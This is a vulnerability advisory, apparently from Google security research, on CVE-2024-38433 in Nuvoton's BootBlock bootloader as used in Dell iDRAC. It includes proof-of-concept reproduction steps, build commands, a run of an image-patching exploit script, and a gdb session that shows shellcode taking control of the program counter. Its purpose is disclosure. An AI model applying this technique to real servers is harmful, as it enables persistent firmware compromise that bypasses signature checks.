Nuvoton / Dell iDRAC: RootBlock

### Summary An attacker with physical access or root-level access on a system that uses the Nuvoton [BootBlock](https://github.com/Nuvoton-Israel/bootblock/tree/master) first-stage bootloader can modify the u-boot image parsed by BootBlock such that it overwrites BootBlock in SRAM. By doing so, they can gain arbitrary code execution directly after the image is loaded, fully compromise the system and bypass image signature verification. The vulnerable code is in the [BOOTBLOCK_CheckImageCopyAndJump](https://github.com/Nuvoton-Israel/bootblock/blob/master/Src/bootblock_boot.c#L182) function, which trusts the load address "header.destAddr" of the u-boot image header. When destAddr points into SRAM, the memcpy call in Line [220](https://github.com/Nuvoton-Israel/bootblock/blob/master/Src/bootblock_boot.c#L220) will overwrite BootBlock and when memcpy returns, attacker code is executed. Note that this vulnerability exists in Nuvoton's open source BootBlock project (CVE-2024-38433). It affects implementations such as Dell iDRAC, which reuse the vulnerable code. For more information, please refer to Dell's [advisory](https://www.dell.com/support/kbdoc/000226353/dsa-2024-223-security-update-for-dell-idrac9-vulnerability). ### Severity Critical - Allows attacker with root-level access to gain arbitrary code execution. ### Proof of Concept To ensure reproducibility, our proof of concept exploit is based on the NPCM750 Evaluation Board since it is the only platform for which an entire openBMC distribution can be built without relying on proprietary patches. The necessary steps to reproduce our exploit are described in the following: ``` $ git clone https://github.com/openbmc/openbmc $ cd openbmc $ . ./setup evb-npcm750 build_poleg # build any target that includes u-boot: $ bitbake core-image-full-cmdline # ... # copy the resulting flash image $ cp tmp/deploy/images/evb-npcm750/core-image-full-cmdline-evb-npcm750-<...>.static.mtd bmc-image-POC ``` Execute the proof-of-concept exploit [script](https://github.com/google/security-research/security/advisories/GHSA-v9gx-jrwm-3f78), passing in the flash image as a parameter: ``` $ python3 rootblock_nuvoton_poc.py bmc-image-POC using input file bmc-image-POC dst addr: 0xfffde330, code_sz: 0x8 writing patched image to: bmc-image-POC-patched.bin ``` Run the patched image in Qemu and attach your debugger: ``` $ qemu-system-arm -machine quanta-gsj -nographic -drive file=bmc-image-POC-patched.bin,if=mtd,bus=0,unit=0,format=raw -s -S # in a separate shell, start and attach gdb: $ gdb (gdb) target remote localhost:1234 (gdb) hbreak * 0xfffde530 Hardware assisted breakpoint 1 at 0xfffde530 (gdb) c Continuing. Thread 1 hit Breakpoint 1, 0xfffde530 in ?? () (gdb) x/3i $pc => 0xfffde530: movw r0, #4919 ; 0x1337 <- Our Shellcode! 0xfffde534: bx r0 0xfffde538: ldrb r1, [r4, #320] ; 0x140 (gdb) stepi 0xfffde534 in ?? () (gdb) 0x00001336 in ?? () (gdb) p $pc $1 = (void (*)()) 0x1336 <- we control PC ``` In the last step, we set a breakpoint at 0xfffde530 - this is the location that the vulnerable memcpy call returns to once it has finished copying the u-boot image. As can be seen in Line 17 of our exploit script, the mov r0, 0x1337, bx r0 instructions are actually part of our attacker-controlled shellcode and it can be seen that the processor will execute them after returning from memcpy. In a real attack scenario, an attacker would want to load their own bootloader and manipulate the system from there. Using this to execute an unsigned bootloader has been left out intentionally, as an exercise for the reader. ### Additional Analysis The Poleg NPCM7xx SoCs have an internal SRAM block and various interfaces to external memory. In order to set up DRAM and load the next boot stage, an open source first-stage bootloader called [BootBlock](https://github.com/Nuvoton-Israel/bootbloc

Severity from

GitHub (reviewed advisory)

• github.com/google/security-research/security/advisories/GHSA-v9gx-jrwm-3f78
• github.com/google/security-research